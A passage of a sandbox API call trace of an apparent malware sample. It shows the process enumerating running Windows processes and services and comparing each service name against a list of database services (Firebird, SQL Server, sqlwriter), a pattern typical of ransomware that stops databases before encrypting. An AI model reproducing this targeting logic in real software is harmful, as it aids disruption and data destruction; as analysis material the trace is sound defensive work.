	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0182.404] lstrlenW (lpString="SecurityHealthService") returned 21
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0182.404] lstrlenW (lpString="SENS") returned 4
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0182.404] lstrlenW (lpString="ShellHWDetection") returned 16
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0182.404] lstrlenW (lpString="Spooler") returned 7
	[0182.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0182.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0182.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0182.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0182.405] lstrlenW (lpString="StateRepository") returned 15
	[0182.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0182.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0182.405] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0182.405] lstrlenW (lpString="SysMain") returned 7
	[0182.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0182.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0182.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0182.405] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0182.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0182.405] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0182.405] lstrlenW (lpString="Themes") returned 6
	[0182.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0182.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0182.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0182.405] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0182.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.405] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0182.405] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0182.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c
	[0182.414] Process32FirstW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0182.415] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0182.415] lstrlenW (lpString="System") returned 6
	[0182.415] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0182.415] lstrlenW (lpString="smss.exe") returned 8
	[0182.415] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.416] lstrlenW (lpString="csrss.exe") returned 9
	[0182.416] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0182.416] lstrlenW (lpString="wininit.exe") returned 11
	[0182.416] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.417] lstrlenW (lpString="csrss.exe") returned 9
	[0182.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0182.417] lstrlenW (lpString="winlogon.exe") returned 12
	[0182.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0182.417] lstrlenW (lpString="services.exe") returned 12
	[0182.417] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0182.418] lstrlenW (lpString="lsass.exe") returned 9
	[0182.418] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0182.418] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0182.418] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0182.419] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0182.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.419] lstrlenW (lpString="svchost.exe") returned 11
	[0182.419] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.420] lstrlenW (lpString="svchost.exe") returned 11
	[0182.420] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0182.420] lstrlenW (lpString="dwm.exe") returned 7
	[0182.420] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.420] lstrlenW (lpString="svchost.exe") returned 11
	[0182.420] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.421] lstrlenW (lpString="svchost.exe") returned 11
	[0182.421] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.547] lstrlenW (lpString="svchost.exe") returned 11
	[0182.547] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.548] lstrlenW (lpString="svchost.exe") returned 11
	[0182.548] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.548] lstrlenW (lpString="svchost.exe") returned 11
	[0182.548] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.549] lstrlenW (lpString="svchost.exe") returned 11
	[0182.549] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.549] lstrlenW (lpString="svchost.exe") returned 11
	[0182.549] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.549] lstrlenW (lpString="svchost.exe") returned 11
	[0182.549] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.550] lstrlenW (lpString="svchost.exe") returned 11
	[0182.550] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.550] lstrlenW (lpString="svchost.exe") returned 11
	[0182.550] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0182.551] lstrlenW (lpString="spoolsv.exe") returned 11
	[0182.551] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.551] lstrlenW (lpString="svchost.exe") returned 11
	[0182.551] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0182.552] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0182.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0182.552] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0182.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0182.553] lstrlenW (lpString="audiodg.exe") returned 11
	[0182.553] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0182.553] lstrlenW (lpString="Memory Compression") returned 18
	[0182.553] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0182.554] lstrlenW (lpString="taskhostw.exe") returned 13
	[0182.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0182.554] lstrlenW (lpString="sihost.exe") returned 10
	[0182.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.554] lstrlenW (lpString="svchost.exe") returned 11
	[0182.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0182.555] lstrlenW (lpString="taskhostw.exe") returned 13
	[0182.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0182.555] lstrlenW (lpString="explorer.exe") returned 12
	[0182.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0182.556] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0182.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0182.556] lstrlenW (lpString="SearchUI.exe") returned 12
	[0182.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0182.556] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0182.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0182.557] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0182.557] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0182.557] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0182.557] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0182.558] lstrlenW (lpString="consent.exe") returned 11
	[0182.558] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0182.558] lstrlenW (lpString="dllhost.exe") returned 11
	[0182.558] Process32NextW (in: hSnapshot=0x37c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0182.559] CloseHandle (hObject=0x37c) returned 1
	[0182.559] Sleep (dwMilliseconds=0x1f4) 
	[0183.501] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929db8
	[0183.501] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0183.501] GetLastError () returned 0xea
	[0183.502] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4142028
	[0183.502] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4142028, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4142028, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0183.503] CloseServiceHandle (hSCObject=0x3929db8) returned 1
	[0183.503] lstrlenW (lpString="Appinfo") returned 7
	[0183.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0183.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0183.504] lstrlenW (lpString="AppXSvc") returned 7
	[0183.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0183.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0183.504] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0183.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0183.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0183.504] lstrlenW (lpString="Audiosrv") returned 8
	[0183.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0183.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0183.504] lstrlenW (lpString="BFE") returned 3
	[0183.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0183.504] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0183.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0183.504] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0183.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0183.505] lstrlenW (lpString="CDPSvc") returned 6
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0183.505] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0183.505] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0183.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
